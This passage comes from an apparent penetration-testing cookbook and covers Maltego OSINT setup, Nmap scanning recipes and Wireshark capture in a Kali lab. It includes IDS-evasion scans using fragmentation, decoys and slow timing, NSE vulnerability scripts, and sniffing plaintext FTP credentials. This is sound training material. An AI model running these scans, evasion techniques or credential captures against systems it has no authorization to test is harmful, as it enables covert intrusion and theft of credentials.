In this recipe, you will learn how to do the initial setup for Maltego Community Edition (CE), a
tool designed for information gathering during the reconnaissance phase of a penetration test.
Maltego CE enables you to map relationships between people, organizations, infrastructure,
domains, and other entities, providing valuable insights into your target’s digital footprint. Its
intuitive interface and extensive library of transforms (scripts that pull data from various sources)
make it an indispensable tool for gathering and visualizing open source intelligence (OSINT).
122 Deep Recon: Unveiling the Digital Landscape
By the end of this setup process, you’ll have Maltego CE configured for use, ready to perform your
first transforms. The setup includes creating a Maltego account, setting up API keys for certain
transforms, if applicable, and familiarizing yourself with its workspace.
Getting ready
You need the Kali VM up and running to complete this recipe.
How to do it…
1. Select the Kali menu icon from the Kali VM and type maltego in the search box. Once
visible as an option, select Maltego to launch the app.
2. On the Welcome to Maltego screen, click on MALTEGO ID under ACTIVATION OPTIONS.
3. You will be taken to the web registration site. Create a new user ID for Maltego and follow
the instructions to set up your account.
Chapter 3 123
Tip
While you may opt to maintain anonymity, registering with valid credentials
is also fine.
4. Once you have validated your account and set it up, close the web browser and return
to the Maltego Product Selection screen. There, select Login under Maltego CE (Free).
5. In the Configure Maltego dialog box, click Accept on the license agreement and select Next.
6. On the next screen, select Browser Login, which will launch your browser and connect
you to the Maltego site to log in.
7. From your web browser, log in to Maltego.
8. Once logged in, you should receive an Authentication Complete screen with a green tick.
Close the browser and return to the Maltego application. Once you return, you should
see a message that the browser login was successful with another green tick. Select Next.
9. On the next screen under Install Transforms from:, ensure that Standard Transforms
is checked and select Next.
10. From the Data Sources Complete entry, select Next.
11. In the Help Improve Maltego screen, you may decide whether you want to contribute by
automatically sending error reports and selecting Next.
12. In the Web Browser selection, choose <Default System Browser> and select Next.
13. On the Privacy Mode Options screen, carefully read the options presented, make your
selection, and click on Next.
Tip
Remember that in previous recipes, we have talked about VPNs and other
obfuscation techniques that you may wish to employ. These are still valid
with these options, so you may wish to use a VPN and select normal privacy
to protect your identity.
14. On the Ready screen, select Open a blank graph and let me play around, then select Finish
15. You may receive a Low Memory Allocation Detected error. Simply select OK.
Tip
If you have additional resources available, you may increase the memory
allocation to the VM and adjust it for Maltego.
16. You may receive a Privacy Policy Notice message. Please read it and click Acknowledge.
17. You may receive a Release Notes screen; select I Understand.
18. You will then see a button with Maltego Product Tour in the upper-right corner. Click on
it and complete the tour to familiarize yourself with some of the basics.
19. You may now close Maltego if you are done, or leave it open if you are moving to the
following recipe.
Chapter 3 125
There’s more…
Maltego has paid versions as well as the free CE. As you move from learning about penetration
testing to being employed as a penetration tester, you may want to explore the advantages of
the paid version. While I do not use Maltego specifically, I do use a similar commercial tool
(purchased), and like Maltego, it provides tons of benefits. More information can be found here:
[Link]
Getting ready
You need the following to complete this recipe:
How to do it…
1. In the Maltego interface, open Transforms Hub by clicking on Transforms in the top
menu. Then, select Hub.
2. Transforms Hub has a variety of options. Let’s see which transforms are free. In the FIL-
TER section, select ALL under Access Options and Maltego Community under Plans.
126 Deep Recon: Unveiling the Digital Landscape
3. Under TRANSFORM HUB PARTNERS, add VirusTotal by hovering over it and selecting
INSTALL.
4. When asked if you are sure you want to install VirusTotal, select Yes.
5. You will need to register for an account with VirusTotal. Once registered, get your API key
by selecting API Key from the dropdown in your profile name. Copy it to your clipboard
using the copy icon.
6. Enter your API key for VirusTotal in the VirusTotal (Public API) dialog box and select OK.
7. This will begin the download process for VirusTotal. Once done, select Next in the in-
stallation window.
8. Follow the remaining prompts to finish the installation.
9. Once the installation is complete, you will notice that VirusTotal now appears gray in the
TRANSFORM HUB PARTNERS section, indicating that it’s installed.
128 Deep Recon: Unveiling the Digital Landscape
10. Continue going through the transforms and install as many as you can. Not all transforms
will require accounts or API keys. Ensure that you install Shodan, as we created the ac-
count using an earlier recipe.
11. You may close Maltego if you are done, or leave it open if you move to the following recipe.
How it works…
Transforms serve as essential components of Maltego’s visual link analysis framework. By con-
necting multiple transforms, users can transition from a single data point to an entire web of
interconnected entities without having to do a tedious series of manual checks. They can explore
intricate datasets, expedite investigations, and find patterns or relationships. Whether employed
for cybersecurity threat analysis, fraud detection, or competitive research, transforms provide
insights by seamlessly correlating and visualizing data on one platform.
There’s more…
Some transforms require a subscription. We solely used the free Community Edition and only the
no-cost transforms. However, please look at the features and capabilities of some paid transforms
that may be better at enriching the data or providing a unique data point. More information can
be found at [Link]
Chapter 3 129
Getting ready
You need the following to complete this recipe:
How to do it…
1. Go to the Maltego interface. Create a new graph by selecting Investigate from the top
menu and then the New button. This will open a blank graph.
Tip
2. We will start our investigation with a known website. Under Entity Palette on the left,
type web into the search box. Drag the Website entity onto your blank graph.
3. Click in the center on the entity to change the website to your target. For our example, we
will use [Link].
4. Once done, you can now choose how to enrich your entity. Right-click on the entity, and
you will see a list of transforms to run. In the search box, type to ip and select To IP
Address [DNS].
6. Right-click on the IP address and type to net in the search box. Then, select To Netblock
[using whois info]. The netblock will now be added to your graph.
7. Let’s perform one more enrichment and get the BGP ASN for the IP address. Right-click on
the IP address again and in the search box, type to as and select To AS Number (Passive
DNS) [OTX].
You will now see the ASN associated with the IP address added to your graph.
8. Continue looking around and enriching the various data points. Once complete, you may
close Maltego and choose whether or not you would like to name and save the graph.
132 Deep Recon: Unveiling the Digital Landscape
How it works…
Every piece of information, whether input by the user or uncovered through Maltego’s auto-
mated transforms, becomes an artifact, a building block in the process. This artifact can then be
enriched with further data points, correlating it with related domains, IP addresses, social media
accounts, documents, and so on. The continuous cycle of enrichment transforms a single clue into
a robust, interconnected web of intelligence, enabling investigators to draw meaningful insights
and identify patterns that may prove useful. These could be companies or software packages they
use, email address information, and social media accounts. The type of information that can be
extracted is endless, but it all provides you with additional information that can be later used
when actively targeting the user or system that might otherwise remain hidden. By automating
this process, Maltego dramatically reduces the time and manual effort required to expand a single
data point into a complete, context-rich perspective. Hours of manual research and verification can
be completed in minutes, streamlining the workflow and freeing testers to focus on other aspects.
There’s more…
The Maltego blog has a tremendous amount of case studies and white papers. They also have a
great community. Spend some time looking through the case studies to learn about the power
of Maltego at [Link]
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require one.
4
Nmap Mastery – Scanning with
Precision
This chapter introduces Nmap, a powerful and popular tool essential for penetration testers and
cybersecurity experts. You will learn how Nmap maps an entire network, discovering critical
information such as connected devices, their operating systems, and the open services and ports.
More than just a basic scanner, Nmap offers insights into your target’s topology and security
status, providing you with information to target them more effectively.
This chapter will guide you through everything from installing Nmap and understanding its
syntax to utilizing advanced scanning techniques. You will learn how to interpret the detailed
output generated by Nmap, turning raw scan results into actionable intelligence. Throughout the
chapter, we’ll discuss strategies for customizing scans to enhance speed, stealth, and precision,
along with tips for integrating Nmap into your routine workflows.
• Setting up Nmap
• Performing host discovery
• Performing port scanning
• Performing service and version discovery
• Operating system fingerprinting
• Performing hardware and device type fingerprinting
• Conducting the most common Nmap scan
• Implementing detection and evasion techniques
• Understanding script engine fundamentals
134 Nmap Mastery – Scanning with Precision
Technical requirements
All the recipes in this chapter can be conducted within the VirtualBox environment and originate
from the Kali VM.
Setting up Nmap
In this recipe, we’ll guide you through confirming your Nmap installation in Kali. You will also
learn about the basic configuration to leverage Nmap’s robust command-line interface fully. By
the end of this recipe, you’ll have everything set up to start performing efficient scan analyses.
Getting ready
You need the Kali VM on and logged in to complete this recipe.
How to do it…
1. From within the Kali VM, open a terminal window.
2. To verify that Nmap is installed, run the following command:
nmap --version
3. From the output, you can see that Nmap is installed and the version is 7.945VN.
4. If Nmap is not installed, it may ask you to install it automatically, or you can run the
following command to install it manually:
sudo apt update && sudo apt install nmap -y
Chapter 4 135
5. A standard optimization is to increase the number of sockets that are open. To see the
current limit, enter the following:
ulimit -n
6. From the output shown in the following figure, you will see that the current limit is 1024:
Tip
This command is for the current session only and must be entered at the
start of any new session.
8. We can verify that the new limit is set with this command:
ulimit -n
9. Another optimization you can implement is adding aliases to run scans more easily and
quickly with preset parameters. From the terminal window, open an editor and modify
the .zshrc file as shown here:
nano ~/.zshrc
10. Scroll to the end of the file and enter the alias command:
# nmap aliases
alias nmapf='nmap -A -T4 -Pn'
Tip
Tip
The first command with the hash is nothing more than a heading to provide
clarification or documentation in the file as to what we are doing.
11. To exit the file, press Ctrl + X. When asked to save, press Y.
How it works…
Nmap requires little configuration, but a few things, such as running with the proper privileges and
picking the right scans, should be done to ensure optimal scanning and make it a more helpful tool.
There’s more…
Once you begin learning the Nmap syntax, adding additional aliases will help you quickly recall
your favorite and most useful scans.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open up the Kali VM terminal window.
2. To run a basic ping scan against our guest VM network, enter the following command:
nmap -sn [Link]/24
From the output shown in Figure 4.5, you can see that the scan found 256 IP addresses,
discovered 7 hosts responding, and provided some information about each host. Unfor-
tunately, since each host is a VM, the information reflects Oracle VirtualBox.
3. Running the same scan against an internal IoT network provides more actionable infor-
mation about each host, as shown in Figure 4.6:
4. To run an Nmap scan requesting an ICMP ping only, you can add -PE to your previous
scan, as shown here:
nmap -sn -PE [Link]/24
This is useful if you want to see whether the hosts respond to basic ping requests.
5. Running an ARP scan is another useful alternative to try and find which hosts are active.
Use -PR, as follows:
nmap -sn -PR [Link]/24
140 Nmap Mastery – Scanning with Precision
6. There are two other very useful modifiers: one is a TCP SYN ping, and the other is a TCP
ACK ping. For the SYN ping, use -PS with a port list, and for the ACK ping, use -PA with a
port list. An example is shown here:
nmap -sn -PS22,23,80,443 [Link]/24
Tip
These two scans can be handy when there is a firewall between you and the
network you are trying to scan
Chapter 4 141
How it works…
We are using a succession of varying scans; in this case, very little information changed from scan
to scan as we are operating with our lab network. However, in a real environment, these scans
could show drastically different information based on the types of devices and what’s between
your host and the devices.
There’s more…
Host discovery is the first step in understanding accessible targets on a network. It may prove
beneficial to run scans at varying points throughout a day or week, which could provide you with
insight into individual work hours or other information. Further information on host discovery
can be found here: [Link]
Getting ready
You need the following to complete this recipe:
How to do it…
1. Launch the Kali VM terminal window. To search for a specific port, we use -p (port number
or range) in our scan. For this example, we will search to see how many devices have port
22 (SSH) open. Run the following command:
nmap -p 22 [Link]/24
In the output in Figure 4.9, you can see all the hosts that are active and which of those
have SSH open:
Tip
The output shows which ports are listening and what that service is generally used for:
Tip
Ports lower than 1024 are privileged ports, often called well-known ports,
and frequently have critical host services running on them.
Nmap has a list of top ports that are accessible, and it ranks them in order of importance/
popularity. To perform a scan of these ports, we use the --top-ports switch.
144 Nmap Mastery – Scanning with Precision
3. For this example, we will scan the top 100 ports; use the following command:
nmap --top-ports 100 [Link]
The output in Figure 4.11 shows the top open ports, and as you can see, they are in a large
swath of the available port range:
4. If you want to scan the top 1,000 ports of a host, just use the following command:
nmap [Link]
5. If you want to scan all the ports of a host, just use the following command:
nmap -p- [Link]
Tip
You will see the output of all the open ports as shown in Figure 4.12.
How it works…
Nmap determines port states by sending different kinds of packets, SYN, TCP connect, UDP, NULL,
FIN, and more. SYN-ACK indicates open, and RST indicates closed, and no response or an ICMP error
means filtered. Running as root unlocks raw packet scans for stealth, while unprivileged users
fall back to TCP connect scans (-sT). Pick your scan based on the target environment: stealthy,
rate-limited probes evade IDSs/IPSs, whereas full-blast scans (-sT and -sU) may set off alarms.
146 Nmap Mastery – Scanning with Precision
Beyond open/closed, Nmap can probe services (-sV) and OS kernels (-O) by sending protocol-spe-
cific probes and match replies against its signature database. Finally, it can correlate ports and
version strings with possible exploits for future targeting.
See also…
You can get more information on ports and how they work at the following sites:
• [Link]
• [Link]
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open up the Kali VM terminal window.
2. To run basic service and version detection, we use the -sV switch. Run the following:
nmap -sV [Link]
Examining the output in Figure 4.13, we see many details about what runs on each port.
You can see that we have both Apache and nginx running on different ports. You not only
see the package information of the running service, but also the version and patch levels,
along with additional information when fingerprints match:
Chapter 4 147
3. Take note of the last line of the output, which tells you how long the detection took:
4. Now, we will perform the same scan, but we will tell Kali to be far more aggressive with the
scan and detection. Do this by using the -version-intensity 9 switch, as shown here:
nmap -sV --version-intensity 9 [Link]
148 Nmap Mastery – Scanning with Precision
Tip
The version intensity switch ranges from 1 to 9. The higher the intensity,
the more probes are sent, which can increase the likelihood of a match but
also makes it easier to detect.
Examining the output in Figure 4.15, you will see similar information returned. How-
ever, note that more information was provided about the services that Nmap could not
determine.
5. Lastly, take note of the time required to run this scan compared to the original one we
performed. You can see that this one took significantly longer.
How it works…
Nmap’s service discovery, also called version detection (-sV), works by sending probes to ports
and comparing the responses to known patterns in its service fingerprint database. Further, this
information can be used when evaluating potential attack surfaces and exploits. Understanding
the specific versions of a software package can help you target your attack and be more successful
with reduced effort.
See also…
More information on service and version detection can be found at [Link]
[Link].
Getting ready
You need the following to complete this recipe:
How to do it…
1. Launch the Kali VM terminal window.
2. To start our first operating system scan, we are going to use the -O switch. Enter the
following command:
nmap -O [Link]
150 Nmap Mastery – Scanning with Precision
From the output, you can see the details for the operating system:
Tip
The scan requires open ports, and the more open ports that are available, the
better the detection and the higher the confidence of accuracy.
4. To have Nmap guess an unknown operating system, you can add the --osscan-guess
switch. This will increase the number of probes used, possibly opening you up to detection,
and still may not provide a result. Use the following:
nmap -O --osscan-guess [Link]/24
5. Examine the output and the information provided regarding the operating system. There
will be limited new information because most VMs’ operating systems are easily deter-
mined:
Tip
If you have access to your home network, you may want to try rerunning
these scans against it to see the differences between the OS discovery.
152 Nmap Mastery – Scanning with Precision
How it works…
Nmap’s operating system detection works by examining how a target responds to network probes
and comparing them to a database of known OS signatures.
See also…
More information on OS detection can be found at [Link]
html.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open up the Kali VM terminal window.
2. Start with the same scan you used in the Performing host discovery recipe:
nmap -sn [Link]/23
Chapter 4 153
Tip
I will use my local network to obtain more interesting results. You may use
your VM network, but that may not lead to interesting outputs. You could
also substitute a subnet you are authorized to scan.
The output displays some information about the manufacturer of the discovered devices:
3. In our next scan, we will use a script to try and gather some information from any devices
that have SNMP enabled. Type the following:
nmap -sU -p 161 --script=snmp-sysdescr [Link]/23
4. Next, we will attempt to gather additional information by examining whether the host re-
sponds with Universal Plug and Play (UPnP) information. Enter the following command:
nmap -sU -p 1900 --script=upnp-info [Link]/23
Chapter 4 155
This scan has led to the discovery of a Roku device on the network. This discovery provides
us with additional attack vectors. IoT devices are a goldmine for an attack surface as they
are often soft targets:
5. For the next scan, we will try and use mDNS discovery to gain information about the de-
vices on the network. mDNS works over UDP port 5353 and is used by devices to advertise
services without a central DNS server. Enter the following command:
nmap --script=broadcast-dns-service-discovery [Link]/23
156 Nmap Mastery – Scanning with Precision
The output will now provide the specific make and model of a printer that was earlier
only identified as HP:
How it works…
Hardware and device discovery requires consolidating information from several scans to gather
more specific information about the various types of devices. In this case, we use several scripts
to aid this detection.
There’s more…
You will explore more about scripts and the scripting engine in the Understanding script engine
fundamentals recipe.
Getting ready
You need the following to complete this recipe:
How to do it…
1. Open up the Kali VM terminal window.
2. One of the most comprehensive scans uses the -A switch. Enter the following:
nmap -A [Link]
The output will provide detailed information about the open services, including version
information, header information, and even going so far as to find available files in unse-
cured protocols of each host. Some of this information is a combination of many of our
previous scans.
158 Nmap Mastery – Scanning with Precision
Examine the extensive output, paying attention to the first section (highlighted by a
rectangle in Figure 4.25):
You will see that not only is anonymous FTP enabled, but it also gives you a listing of files
available on the device. The second section (also enclosed in a rectangle) shows us that
SMTP is enabled and provides us with the ciphers allowed for encryption.
3. Continue to examine the output and focus on the extensive information about the ports
that are open. In this case, we are reviewing port 8080 and seeing the version of HTTP
running, as well as other relevant information, including the fact that this may be a proxy:
Finally, we can see in this case that SMB is available and various aspects of the SMB pro-
tocol and how it operates on this device:
How it works…
Nmap’s -A switch scan is basically a shortcut that combines several features into a single com-
mand. It’s designed to give you an overview of a host or network in just one pass.
See also…
More information on popular Nmap scans can be found at [Link]
Getting ready
You need the following to complete this recipe:
How to do it…
1. Launch the Kali VM terminal window.
2. As part of our evasion techniques, we will move to SYN scans, often referred to as half-open
scans, using the -sS entry. We will further slow down the scan significantly using the -T2
modifier. Enter the following command:
nmap -sS -T2 [Link]
From the output, you will see that the results are similar to other recipes, but the scan
took longer to perform, going from seconds to minutes. Time is often on the side of the
pentester. The more you can prolong scanning in an environment, the more likely you
are to go unnoticed:
By using a SYN scan, we look at the firewall or IDS as just a device trying to connect to a
host. Further, by slowing the scan down, we avoid detection systems that use thresholds
as a triggering mechanism.
3. We will now send fragmented packets as part of our scan. Fragmented packets can often
trick security devices, as they must reassemble them in memory to detect anomalous
behavior. Fragments are indicated by -f. Enter the following command:
nmap -sS -f [Link]
As per the prior scan, we have received the same results, just using a different scanning
technique that may help to avoid alerting the target. There are many methods of scanning
to obtain the same results. Understanding the defenses a target network has will help you
decide on which techniques to use:
4. In the next scan, we are going to have Nmap use decoy IP addresses. In this way, if there
is a detection, it will take the Security Operation Center (SOC) team longer to determine
where the real threat came from and hopefully trick them into believing it was a false
alarm. We use -D for this.
Tip
The output shows similar results to other network scans we have done:
5. We can combine all the techniques we just learned (SYN scanning, fragmentation, and
slowing down the scan) in combination to further aid in obfuscating our actions. Enter
the following command:
nmap -sS -f -T2 --scan-delay 3s -D RND:10 [Link]/24
From the output, you can see we received similar results, but it took an extremely long
amount of time, going from minutes to hours. By combining these techniques, we took an
even more conservative approach to scanning our network. By being more conservative,
we were even more likely to evade detection.
Tip
When you are working as a penetration tester, you must consider the time
element. Use time to your advantage. Often, the slower you go, the fewer
alarms you trip, and the ones you do trip may get lost in the noise of a SOC.
How it works…
These scans aim to reduce the likelihood of your presence being detected and discovered, and
ultimately, your access being blocked. Through the various techniques, we learned how to go
unnoticed and undetected. It is absolutely critical for a pentester to be able to conduct their work
without raising any alarms or triggering any detections. Once you target knows you are actively
working to compromise them, their guard will be up, making your job very difficult or impossible.
See also…
More information on Nmap firewall and IDS/IPS evasion techniques can be found here: https://
[Link]/book/[Link].
Getting ready
Make sure the Kali VM is on and you are logged in. Turn on as many of the other VMs that you
added as your host device has resources for.
How to do it…
1. Open up the Kali VM terminal window.
2. One of the first scripts we will use is for a vulnerability scan against a set of hosts using
--script vuln. Enter the following:
Tip
Scripts are grouped into categories, with vuln being one of those catego-
ries. The total list of categories includes default, broadcast, brute, dos,
external, fuzzer, malware, version, vuln, auth, discovery, safe, and
intrusive.
Chapter 4 165
The output provides information related to potential vulnerabilities that the host may
be susceptible to. This information includes the specific vulnerability or exploit, the risk
factor of how critical the vulnerability could be, details about what type of exploit or
access can be gained, and lastly, reference information:
3. In this case, we will combine version detection (-sV) with the default script category,
as shown here:
nmap -sV --script default [Link]
166 Nmap Mastery – Scanning with Precision
You will see more detailed information than when we used the scan without the script.
Here, we see additional information related to the specifics of the service version, com-
puter, domain, account, and security information:
4. In the next scan, we will check the host for specific scripts based on FTP. Enter the fol-
lowing:
nmap -p21 --script ftp-anon,ftp-bounce [Link]
The output shows that not only is FTP open, but it also provides the directory:
6. In this output, we see a listing of SMB users and some of the accessible SMB shares:
7. Continuing further down, we receive valuable information regarding the SMB OS:
8. Our next scan will target HTTP/web services. Enter the following:
nmap -p80,443,8080,8443 -sV --script=http-enum,http-title,http-
headers,[Link],http-methods [Link]
The output provides us with a variety of information. If we look at just the scan on port
80, we see the title, headers, server, version, and files:
9. Lastly, if you want to receive more information about a script or a script group, you can
use --script-help. Use the following command:
nmap --script-help ftp-anon
The output details what the script does and the information it provides:
How it works…
NSE allows users to run various Lua-based scripts that extend Nmap’s functionality beyond port
scanning. Lua is a lightweight scripting language used in other security products such as Snort.
NSE includes scripts that test for high-profile flaws such as Heartbleed, Shellshock, or MS17-010.
Other scripts automate credential checks against common usernames and passwords on services
such as SSH, FTP, SMB, and HTTP, flagging weak or default credentials without manual interven-
tion. Database-focused scripts can enumerate tables or check for SQL injection vulnerabilities,
while web application scripts crawl login forms, detect cross-site scripting opportunities, and
fingerprint frameworks such as WordPress or Drupal. By combining these into your scan, you
extend Nmap from a port discovery to vulnerability and exploit discovery.
See also…
More information on NSE can be found at [Link]
170 Nmap Mastery – Scanning with Precision
Note: Keep your invoice handy. Purchases made directly from Packt
don’t require one.
5
Wireshark Wizard: Network
Traffic Demystified
Wireshark is a network protocol analyzer that is essential for penetration testers because of its
ability to capture and analyze real-time networks. By monitoring data packets traversing the
network using Wireshark, you can identify vulnerabilities and understand the overall security
stance of the systems in the target network. Whether you are conducting a routine network au-
dit or exploring new ways to exploit possible weaknesses, Wireshark’s deep packet inspection
features are key.
You will explore the primary use cases of Wireshark in penetration testing, from filtering traffic and
isolating specific threats to reconstructing entire sessions for thorough analysis. You’ll discover
how to tailor Wireshark’s interface to fit your workflow and export captured data in formats that
work with other security tools. By the end of this chapter, you’ll have gained an understanding of
techniques to leverage Wireshark’s capabilities, building on your knowledge of Kali Linux tools.
• Setting up Wireshark
• Capturing network traffic
• Performing packet analysis
• Implementing display filters
• Filtering captured traffic
172 Wireshark Wizard: Network Traffic Demystified
Technical requirements
All of the recipes in this chapter can be conducted within the VirtualBox environment and orig-
inate from the Kali VM.
Setting up Wireshark
Before analyzing network packets and identifying possible vulnerabilities, ensure that Wireshark
is correctly installed and configured. In this recipe, we’ll cover selecting the appropriate version
of Wireshark for your setup, establishing key preferences, and personalizing your interface for
efficient penetration testing.
Getting ready
You need the following to complete this recipe:
How to do it…
1. In the VirtualBox management interface, highlight the Kali VM and select Settings.
2. Switch to Expert mode on the Settings screen and select Network. Under Adapter 1, se-
lect Allow All next to Promiscuous Mode. Selecting all will capture all physical network
traffic. Do the same for Adapter 2, and when completed, select OK.
3. Now that all interfaces are in promiscuous mode, start the Kali VM.
4. Once the VM is started, log in and open a terminal window.
5. To check whether Wireshark is installed, enter the following:
apt list wireshark
6. If it is installed, you will see an output displaying the package name, version, and
[installed] at the end.
7. If it is not installed, you will receive an error saying not found. Install it with the follow-
ing command:
sudo apt update && sudo apt install wireshark -y
8. To launch Wireshark, search for it in the menu. Alternatively, since you are already in a
terminal window, you can enter the following:
wireshark
10. Take a minute to explore this interface. Do not select any interfaces from the dialog yet.
11. Now, go to the preferences under Edit | Preferences. Take a moment to scroll through all
the options available.
12. Under Capture, ensure Capture packets in promiscuous mode is checked.
13. Lastly, scroll to Name Resolution, ensure you have Resolve network (IP) addresses un-
checked, and select OK.
Chapter 5 175
Tip
Name resolution can create tremendous DNS traffic, which can clutter your
capture. Also, it could trigger alerts. There are instances where capturing
the DNS traffic is useful, such as if you’re trying to understand the naming
conventions on the network or want to use the device names to help identify
potential targets. Just be aware of the implications.
14. You may now close Wireshark or move on to the following recipe.
How it works…
In this recipe, we ensured that our network interfaces were in promiscuous mode. Promiscuous
mode allows us to see all traffic on the interface, not just traffic destined for us. We also ensured
that Wireshark was installed, and a base configuration was set up. As you become more familiar
with Wireshark, you may wish to customize it to make it easier for your use. Users may wish to
customize Wireshark by adjusting its layout, modifying color rules to highlight specific types of
traffic, or setting default capture interfaces to streamline repeated tasks. Personalizing columns
to display fields such as HTTP hostnames or TCP flags can also enhance visibility into protocol
behavior during analysis.
See also…
More information on customizing Wireshark can be found in their documentation: [Link]
[Link]/docs/wsug_html_chunked/[Link].
Getting ready
You need the following to complete this recipe:
How to do it…
1. In the Kali interface, either open Wireshark by finding it in the menu or open a terminal
window and type wireshark.
2. In the Wireshark interface, you will see a list of potential capture points on the left. Next
to the live interfaces, you will see a graph of current network traffic. Finally, at the very
top is a filter dialog that you can use to capture just the traffic that is significant to you.
3. The Ethernet interface displaying all the traffic (eth0) in the preceding figure connects
to my home network, while eth1 connects to the VM network. We will select eth0, by
double-clicking on it, so that we can quickly view some interesting traffic.
4. Immediately, your interface will change so you can see the live packets being captured.
At the top is a scrolling window of the packets. In the lower left, there is a packet decode,
and in the lower right, there is a hex dump of the packet. On the bottom left, you will see
that we have a live capture on eth0, and further to the right, you will see the number of
packets captured.
Chapter 5 177
5. After you have captured a couple thousand packets, click the red button on the menu bar
at the top to stop the capture.
Tip
You will find that capturing a large number of packets does not take long. In corpo-
rate environments, it’s even faster, especially as you move closer to the core of the
network or into the data center. Filters can help narrow your capture to only the
traffic you are interested in.
How it works…
Wireshark captures packets by placing your network interface into a mode (promiscuous mode)
that allows it to receive all traffic flowing across the network segment, not just the traffic specif-
ically addressed to your machine.
See also…
More information on capturing packets can be found in the Wireshark documentation: https://
[Link]/docs/wsug_html_chunked/[Link].
Getting ready
You need the following to complete this recipe:
How to do it…
1. In the Wireshark interface, find a packet showing ARP under the Protocol column. Select
it to display the packet decoding at the bottom.
Chapter 5 179
3. To expand, double-click on the packet at the top of the window to open a new decoding
pane.
4. As you scroll through the packet, expand on areas you want more information on. You
will now see that Wireshark is giving you a full, informed decoding of the packet with all
headers and payloads, along with a description of what you are looking at.
Chapter 5 181
5. Open the Ethernet header; you will see the source and destination MAC addresses as well
as the packet type (ARP).
6. Scroll down further and expand Address Resolution Protocol. You will see the sender’s
IP address and the IP address they want to find.
7. Lastly, select Sender IP address. Note that the hex dump is highlighted so you can see
the exact position of the data in the raw packet.
Chapter 5 183
You can now move on to the next recipe, where we will use the captured traffic.
How it works…
Wireshark’s packet decoding process recognizes and interprets different protocols layer by layer.
It peels off and decodes its respective header fields from the raw binary data, translating them
into human-readable information such as source/destination addresses, port numbers, flags, and
protocol-specific details. By stacking these layers, Wireshark provides a clear view of each packet.
Pentesters can use this detailed packet view to analyze network traffic, identify active services,
detect insecure protocols or credentials, and spot misconfigurations that could be exploited
during an assessment.
See also…
More information on packet decoding can be found at [Link]
html_chunked/[Link].
184 Wireshark Wizard: Network Traffic Demystified
Getting ready
You need the following to complete this recipe:
How to do it…
1. Search the Wireshark interface while a capture is running. There are two ways to search
and/or filter from the interface. The first method is if you know your filter criteria, type
it directly into the display filter field. For this example, type ip into the display filter and
press Enter.
2. Another method is the search filter dropdown. Click on the search filter dropdown on the
far left and select the predefined IPv4 only:ip filter.
With this search, you will now see that any IPv6 or layer 2 packets such as ARP have been
removed from the display, leaving you with only IPv4 packets. Also, note at the bottom
the total number of packets (921) compared to the number displayed (363).
3. Now try another filter; use the dropdown and select Non DNS Port.
4. You can use a negative filter. In the display filter field type in not ARP and press Enter. You
will see all your ARP entries removed.
186 Wireshark Wizard: Network Traffic Demystified
5. You can combine entries in the search field using and. Type not arp and not dns and
press Enter. All ARP and DNS entries will have been removed.
How it works…
Wireshark’s display filters allow you to manipulate how captured packets are shown within the
interface without discarding any data. Using the filter syntax, Wireshark will only display packets
that match the defined conditions, making it easier to focus on relevant traffic. In our examples,
we eliminated any non-IPv4 traffic and then further eliminated DNS packets. These filters can
be combined to create even more precise views, helping you pinpoint the information you need
for practical analysis. Other examples are filtering by source and/or destination IP address, ports,
or protocols. To gain a better view, you want to eliminate noise that may mask important infor-
mation about the network.
See also…
More information on display filters can be found at [Link]
html_chunked/[Link].
Chapter 5 187
Getting ready
You need the following to complete this recipe:
How to do it…
1. Capture filters are similar to display filters in their design. However, capture filters limit
the data captured. This is useful when you know the exact type of data you are looking
for or the interesting traffic you want to capture. Display filters limit what information is
displayed to you but still maintain all the packets originally captured. The capture filters
interface is similar to the display filters one. Under Capture, you will find the using this
filter field.
Tip
Packet captures can grow very large because they include every packet that
crosses the network interface. As a penetration tester, it’s important to iden-
tify which types of packets are relevant to your analysis. By creating tailored
capture filters and profiles, you can limit data collection to only the traffic
you need. This is especially valuable when working with remote capture
devices that may have limited storage, making targeted captures essential
for efficient analysis. Type arp in the field and double-click on the eth0
interface (or whatever interface connects to your local network).
2. From the output, you can now see that we are only capturing ARP packets. When ready to
move on, press the red stop button at the top and the close button, which has an X icon.
When prompted, select Continue without Saving.
3. You will be returned to the main capture screen. This time, let’s capture DNS. Type in ip
and udp port 53 and double-click on your Ethernet interface.
4. Reviewing the output, we can now see that only DNS traffic is being captured. When ready
to move on, press the red stop button at the top and the close button, which has an X icon.
When prompted, select Continue without Saving.
Tip
If you do not see any traffic, try opening a web browser on the host machine
or within Kali and browsing to [Link]
How it works…
Capture filters in Wireshark operate on the network interface to capture only packets that match
specific criteria, such as IP addresses, protocols, or ports, before saving them to a capture file.
Wireshark never sees packets outside these criteria, reducing the file size of the saved capture.
See also…
More information on filters can be found at [Link]
chunked/[Link].
Getting ready
You need the following to complete this recipe:
How to do it…
1. Ensure the BeeBox bWAPP VM is up and running and obtain the IP address of the VM.
Tip
If you have difficulty obtaining the IP address, now is a great time to practice
using Nmap. Refer to Chapter 4 if a refresher is required.
2. Enter a capture filter from the Wireshark main interface to gather FTP traffic. For this, use
a capture filter of ip and port 21. Then select your VM network interface, in my case,
eth1, and double-click it.
You will be taken to the capture interface. However, no packets may be captured at this
point.
192 Wireshark Wizard: Network Traffic Demystified
3. Leaving the packet capture up and running, open a terminal window and drag it out of
the way of the capture window.
4. In the terminal window, let’s create an FTP session to the IP address of the BeeBox host
(in my case, [Link]) using the following:
ftp [Link]
Once at the FTP prompt, enter the following command to print out a directory of the
accessible files (as shown in Figure 5.25):
ls
6. Review the packets a bit, and when you’re done, type the following to end the FTP session:
exit
Not all protocol decoding will call out the username or password. You may have to look
through the packet decoder to view the information.
Tip
You can apply a filter to help you find the password: [Link]
== 'USER' or [Link] == 'PASS'.
10. Select the packet with the username and expand the FTP portion of that packet.
11. Select the one for the password and expand the FTP portion of that packet.
Chapter 5 195
How it works…
There are several protocols that expose their credentials in plain text. FTP and Telnet are two
notable ones that do this. Telnet has largely been replaced by SSH, which has encryption to pro-
tect against password stealing. FTP is still often used on private networks even though there are
alternatives that allow encryption, such as SFTP, FTPS, and SCP.
See also…
More information on TCP packet analysis can be found at [Link]
wsug_html_chunked/[Link].
Getting ready
You need the following to complete this recipe:
How to do it…
1. With a packet capture up in the window, enter the ip and dns display filter.
Tip
You could also run a new packet capture using ip and port 53 as a capture
filter. If you are not finding much DNS traffic, start a capture and then open
a web browser to [Link].
Chapter 5 197
2. Select a standard query response from the packets display and double-click it.
